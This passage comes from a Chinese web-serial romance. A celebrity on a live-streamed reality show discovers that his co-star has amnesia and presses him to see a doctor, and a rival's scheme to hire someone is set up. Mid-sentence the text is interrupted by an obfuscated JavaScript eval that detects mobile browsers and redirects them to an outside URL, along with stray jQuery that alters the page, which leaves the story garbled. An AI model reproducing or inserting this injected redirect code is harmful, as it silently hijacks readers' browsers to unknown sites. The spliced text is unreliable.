[moss]：我会赚到钱的，小鱼现在已经在休学打工了，他之后上不上学只凭现在的一念之差，我不希望他做出会让自己后悔的决定。 柏淞见上面的“对方正在输入”断断续续显示了好久，那边才又发过来消息。 [moss]：这笔钱算我借给小鱼的，不需要他付出什么，等他以后有能力了再还给我就行，我只是不想他太累。 [柏]：你知道纪渝是做什么工作的吧？ [moss]：？游乐场npc 昏暗的巷子里，柏淞握着手机，幽幽屏幕光线照着他深锁的眉头，他紧紧盯着那句“游乐场npc”，楚余苔这是……被夺舍了？ [柏]：你在和我开玩笑吗？ [moss]：？ [柏]：算了没什么，早点睡，晚安 [moss]：晚安，记得涂药。 柏淞没有继续回，他切到了微博，搜索框内输入了楚余苔的名字。 如预料中的一样，先出来的是大篇的黑稿，柏淞划了几页，才从这里面找到一条粉丝发的视频。 视频应该是有些久了，画质偏低，镜头摇晃着，照着酒吧驻唱台上正调整话筒的少年。 楚余苔那时候还很小，看起来没成年，穿着极其搞笑的粉色卡通T恤，拍视频的人也或许就是如此才将镜头对准了他。镜头拉得极近，整个屏幕内就看着楚余苔胸口上洗得有些斑驳的兔子晃来晃去。 不可否认的，这粉色T恤在这酒吧确实是有些格格不入的，柏淞也禁不住轻笑了声。 镜头拍了几秒，似乎是有些无趣，手晃着要关掉视频，楚余苔也正好调好了话筒，坐下清唱了起来。 他唱的是首情歌，曲调温柔缱绻，方一开口，原本嘈杂的环境霎时间便静了下来，视频里也传来句“卧槽”声，原先晃动的手又扶稳了，他又将镜头对准了楚余苔，这时候不是拍那只可笑的兔子了，镜头缩小了些，对上了楚余苔的脸。 他唱歌时喜欢闭眼睛，原来是那个时候就有的习惯。 柏淞视线在他瘦削的肩膀、手腕上突出的骨节处划过，瘦得有点吓人。 视频结束后又自动循环，柏淞接连看了两遍，才总算将注意力放到了歌曲上。视频录得不是很清晰，楚余苔的声音透过手机再传来，略有些失真，夹杂着细微的沙沙声，却如同爱人睡前呢喃般。 “哥，你在看小苔哥哥视频呢？”拿完麦当当的纪渝凑了过来，“这是小苔哥哥火的第一个视频，当时星火就是看见这个签的小苔哥哥。” 柏淞收起手机，关屏幕前犹豫一下，将视频下载了下来。 纪渝偷看了两眼，“那个时候小苔哥哥在不同的酒吧唱歌，当时他还没出道，但是网上已经有很多视频流传出来了，大概有十来个，我都存下来了。” “在你手机里？”柏淞问。 “网盘也存了，还有很多其他的……”纪渝声音一顿，看着柏淞递过来的手机。 “网盘，登一下。”柏淞淡淡道。 22. 第 22 章 第二天还是和上周一样，三个人分上下午轮流休息，楚余苔和穆浅浅、许云岚一起摆的上午，除了淀粉肠和DIY手串摊子外，楚余苔昨天晚上还做了些气球，绑在了桌上一起卖。 他原先是想多做些气球，留给纪渝他们卖，然而昨天晚上柏淞断断续续给他发了二十多条消息，楚余苔还都看不懂。这些天过下来，楚余苔险些忘了失忆这回事，昨天晚上被柏淞接二连三地询问，他不禁又紧张了起来。 他同客人讲着话，一同挑着手串的珠子配色，手机上又弹出来了消息提醒，楚余苔点开屏幕，果然是柏淞的消息。 [柏]：你还记得我们第一次见面的时候吗。 [柏]：……你说你喜欢我，什么时候开始的？ [柏]：……算了，我也没有那么想知道。 [柏]：你怎么知道你喜欢我？怎么发现的？ 这几条楚余苔一条都不知道怎么答，他扫了眼屏幕，心虚地关了手机继续摆摊。 柏淞一晚上没睡觉，忍到白天才给楚余苔发的信息，他心里头乱作一团，一边操心楚余苔是怎么失忆的，又忍不住思考楚余苔暗恋他这件事又到底是真是假。 他等了许久没收到回信，楚余苔他们八点多就出去摆摊了，这会儿已经快十点，柏淞迟疑片刻，他又发了条消息出去。 [柏]：我手疼，自己不好涂药，你等会儿给我涂个药膏。 [moss]：好。 [柏]：？ 看着又沉寂下来的聊天框，柏淞气笑。 行，不是没看见，只是不想回。 …… 楚余苔挂了电话才卖了两条手串一个气球，柏淞已经到了他面前，手上还拿着烫伤膏。 “走，涂药去。”柏淞拉着人往僻静的地方走。 “哎，”楚余苔低呼声，“你怎么这个点来了，你和小鱼不是下午两点才开始接班吗。” “手疼，等不及了。”柏淞停下来，他身边没跟着电子果蝇，这时候看见楚余苔身边跟着的这个，他皱眉，“把你的电子果蝇关了。” 楚余苔“噢”了一声，呆站在原地，局促地舔了舔嘴唇。 得，这也忘了。 柏淞有些好笑地看着楚余苔不知如何是好的模样，干脆抓着人手，抚开他紧张蜷缩起的手指，掌心朝上关了机器。 “学会了吗？”柏淞轻声道。 “学会了……嗯？”楚余苔眨巴眨巴眼，心道不好。 “我问你，你是不是……失忆了？”柏淞开门见山道。 楚余苔负隅顽抗，“没有，不是，胡说什么。” “我们第一次见面是什么时候在哪里。”柏淞追问，他眉眼压低下来，神色严肃，楚余苔捏捏指节，没敢讲话，只偷偷看了眼柏淞脸色。 柏淞失笑，不知道楚余苔哪来的这么大警戒心，他动手，左手往楚余苔后脑勺摸去，“是磕到了脑袋？什么时候？之前就觉得你怪怪的。” “嘶……”楚余苔抽气。 “这里？什么时候磕到了，还疼呢？怎么失忆了也不说出来，你是不是笨……”低头，对上楚余苔的目光，柏淞自觉闭嘴。 “柏哥，你能不能不和别人说。”楚余苔低声道。 “先不说这些，你现在得先去医院看看。”柏淞掌心贴着楚余苔的后脑勺，轻轻摸了两下，见楚余苔没反应，应当没有那么严重，他放下些心。 “我、”楚余苔迟疑片刻，“我没那么多钱。” 柏淞的手掌轻轻按在后脑勺很舒服，楚余苔忍不住眯起了眼睛。 见状，柏淞又轻轻抚了抚。 他想起来，这时候面前的楚余苔不是歌王楚余苔，而是在便利店打工12个小时只能赚两千五的楚余苔。 “你失忆后还记得什么？”柏淞问道。 “高中打工，然后、唔……”他努力回忆，刚醒时那种针扎感又回来了，脑内划过多个模糊不清的片段，他用轻颤的手按了按头，额头处冒出细细的冷汗，“头、头疼。” “那不想了。”柏淞眉头一皱，他坐到了花坛边上，将楚余苔揽过，让他坐在自己腿上，轻抚着他的头，目光中掩盖不住的心疼。 柏淞将这样子低声哄了好一会儿，楚余苔才缓了过来。两个人这时挨得近，鼻尖快挨着对方鼻尖了。 楚余苔愣了下，脑内蹦出对方有女朋友这回事，人猛地窜起，起来后又头晕目眩险些摔了。 “哎！”柏淞扶住了人。 “怎么了？”柏淞有些后怕，这要是没扶稳不就要躺地上了吗。 “没……我、上班去。”楚余苔脑子里晕晕乎乎，还想着找个合适的理由。 “我去吧，你回去休息，下午我带你去医院。”柏淞实在是心疼。 “不去！”楚余苔语气，他自觉失态，抿唇，“我现在挺好的，我自己能处理，谢谢你柏淞老师。”方才头疼，脑中闪过零零碎碎的画面，他没记住，心中却泛起一股难以抑制的厌恶和愤怒。 或许忘记更好，脑中兀地蹦出这个念头。 “不去医院怎么行，”柏淞眉头紧锁。楚余苔一回忆就头疼，他不敢直接告诉楚余苔目前的情况，怕产生反效果，却也不敢接这样子让楚余苔继续去摆摊。 “我自己可以去医院，不用麻烦你柏淞老师。”楚余苔面色有些难看。 柏淞见他闪烁其词的模样，自然不信楚余苔会自己去医院，他手上还在给助理发着消息，编辑完直接发了出去。 他不太放心，伸手又要摸楚余苔的后脑勺，被躲了过去。 柏淞啧了下，”躲什么。” 他想想不对，“怎么又不喊柏哥了。”手顺势要搭在楚余苔肩上。 楚余苔快走两步，甩开了肩上的手臂，答非所问：“我出来好久来，得快点回去。” 柏淞晃了晃受伤的手：“药膏还没涂呢。” 楚余苔又灰溜溜扭头回来给他涂药膏，他抓着柏淞的手，瓮声瓮气道：“柏老师，你能不能不告诉其他人我失忆这件事。” 求人的时候倒是很乖。 “为什么？”柏淞实在想不通楚余苔是怎么想到的，失忆之后一声不吭过了这么多天。 楚余苔低声：“我签了合同，要是中途退出要十倍赔偿工资。” 节目组的合同大家都签了的，但是楚余苔连电子果蝇怎么用都不知道，怎么可能知道什么直播？他觉得有些不对劲，试探着问道：“赔多少？” “两万五。” 柏淞失笑：“就为这两万五，你装这么多天？” “那可是两万五！”楚余苔横了他一眼，都穷得要跟着我一起摆地摊赚钱里，还看不起两万五。 柏淞被瞪了一眼，嘴角勾得更高了，他言听计从道：“嗯，不告诉别人。” 适时手机震动传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392203|168586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来回信，他低头看向屏幕。 [章有信]：联系了两个脑科医生，都要明天才能到你那儿，你受伤了？直播里也没看见啊。 柏淞回了个“没有”，他抬头，问道“医院什么时候去？” “……过两天，我再想想。” …… 说是过两天，实则楚余苔压根没考虑过这事，他只当柏淞客气一下，没想到对方极为上心，周日晚上发消息问了句，周一早上又发了消息过来。 楚余苔第一次感觉柏淞这么热心也不是件好事，他躲着没回。 失忆露馅这件事楚余苔是做好了心理打算的，他知道瞒不了很久，如今最先发现的是柏淞，他也没那么紧张。比起其他人，他更信任的还是柏淞。 “小苔、小苔！” “嗯？”楚余苔醒神。 小林在收拾东西，她急着下班，“你刚刚想什么呢，喊你好几遍了。”她最近和楚余苔熟络起来了，对这个“同事”也没什么距离感， 她也不等楚余苔回答，手一指货架，“早上到的新货还没摆，你等会儿记得去弄一下，我今天来不及了。瞧你刚刚心不在焉的，是不是又上班又摆摊太累了？” 楚余苔没料想同事还知道这，他从来没和小林说过这事，只当对方是路过看见了，道：“小林你周末去公园看见我了？” “没啊，我晚上上班累得要死还去啥公园，这不是下班了之后刷手机刷……”小林一顿，手捂着嘴巴干笑两声：“哈哈、我先走了，夜班困死了！”好险好险，差点说错话要扣钱。 楚余苔看着小林逃跑的背影，歪头不解。 忙过早高峰，楚余苔过去收拾货架，新到的糖果摆在最下层，要换上新的标签，还要调整其他商品的位置，他蹲着理理许久，手机上弹出语音通话，未加思考，楚余苔顺手接通了电话。 “考虑了两天，考虑好了吗。”柏淞低沉的声音传来。 “……不是昨天才说的吗。” “昨天一天，今天一天，不是正好两天？” “……”楚余苔又被他说愣了，懵了会儿小声反驳：“哪有你这么算的。” 他一边理着货架一边同柏淞拌嘴，余光闪过个人影，“我这里有顾客，总之再过两天，我……我得再想想。” 楚余苔心虚，匆匆忙忙按灭了手机屏幕，随手放进兜里，先去了收银台。 …… 电影院，浑身爆米花味的何迟闻了下自己袖口的味道，被这股香精味冲到了鼻子，他这时候还是关着电子果蝇的，皱眉从助理那拿过香水狠狠喷了好几下，直到香水味道盖过爆米花味才停下来。 一边，吕向前站在边上两手交叠，不安的在身前搓着。何迟见他这副模样就心烦，他道：“上次交代你的事情办了吗，今天周一，人现在得在便利店里了吧？” 吕向前自觉这次事做得好，点点头，“何小少爷，这次人我找了好久才找到的，保管专业！” 何迟喝了口水，见吕向前总算靠谱一回，他嗯了声，随意道：“哪儿找的人？钱不是问题，你花钱办好事就行。” 吕向前更自信了，一拍手：“哎没花多少，你上次说找专业的，我特意去城西监狱门口找的人，蹲了两天就找到了能干活的，才花了八千。” 何迟一口水直接喷了出来，他嘴巴上水还没来得及擦，先踹了吕向前一脚，“你他爹的脑子没问题吧？”